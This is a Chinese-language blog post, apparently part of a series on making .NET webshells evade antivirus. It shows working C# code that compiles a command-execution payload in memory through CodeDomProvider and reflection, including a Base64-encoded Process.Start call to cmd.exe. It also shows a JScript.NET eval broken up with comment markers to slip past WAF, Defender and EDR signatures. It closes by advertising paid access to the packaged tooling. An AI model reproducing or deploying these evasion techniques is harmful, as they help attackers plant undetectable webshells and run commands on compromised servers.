干货 | .NET WebShell 免杀系列之动态编译

0x01 动态编译

当下主流的Waf或Windows Defender等终端杀软、EDR大多都是从特征码查杀,在.Net一句话木马中最常见的特征是基于Jscript.Net实现的eval方法和C#Process.Start方法,笔者之前从.NET 内置的CodeDomProvider类下手实现动态编译.NET代码,编译的过程如下图

0x02 规避C#Process.Start

动态编译技术提供了最核心的两个类CodeDomProvider 和 CompilerParameters,前者相当于编译器,后者相当于编译器参数,CompileAssemblyFromSource表示程序集的数据源,再将编译产生的结果生成程序集供反射调用。最后通过CreateInstance实例化对象并反射调用自定义类中的方法。

CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ;     
CompilerParameters comPara = new CompilerParameters();  
comPara.ReferencedAssemblies.Add("System.dll"); //添加引用
comPara.GenerateExecutable = false; //生成exe
comPara.GenerateInMemory = true; //内存中
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //编译数据的来源
Assembly objAssembly = compilerResults.CompiledAssembly; //编译成程序集
object objHelloWorld = objAssembly.CreateInstance("Neteye.NeteyeInput"); //创建对象
MethodInfo objMi = objHelloWorld?.GetType().GetMethod("OutPut"); //反射调用方法
var result = objMi?.Invoke(objHelloWorld, null);

直接将System.Diagnostics.Process.Start("cmd.exe","/c calc");Base64编码为 U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7, 运行后可正常执行指令

0x03 拆解Eval

将动态编译器指定为Jscript,通过插入无关字符/*@Ivan1ee@*/将eval拆解掉,编译替换后反射执行目标方法。核心代码如下

private static readonly string _jscriptClassText =
@"import System;
class JScriptRun
{
  public static function RunExp(expression : String) : String
    {
       return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);
     }
}"
private static void Initialize()
    {
        CodeDomProvider compiler = CodeDomProvider.CreateProvider("Jscript");
        CompilerParameters parameters = new CompilerParameters();
        parameters.GenerateInMemory = true;
        parameters.ReferencedAssemblies.Add("System.dll");
        CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/", ""));
        Assembly assembly = results.CompiledAssembly;
        _runType = assembly.GetType("JScriptRun");
        _runInstance = Activator.CreateInstance(_runType);
    }

0x04 结语

笔者改用aspx编写此类风险检测程序,同时设计了主机进程、主机信息采集、主机目录文件访问等功能

文件均已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,经过星球运营团队投票商议决定星球价格优惠活动持续进行,星球价格直接给到星球 [最低起步价¥50] ,每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

 

posted @ 2022-06-20 19:56  Ivan1ee  阅读(289)  评论(0编辑  收藏  举报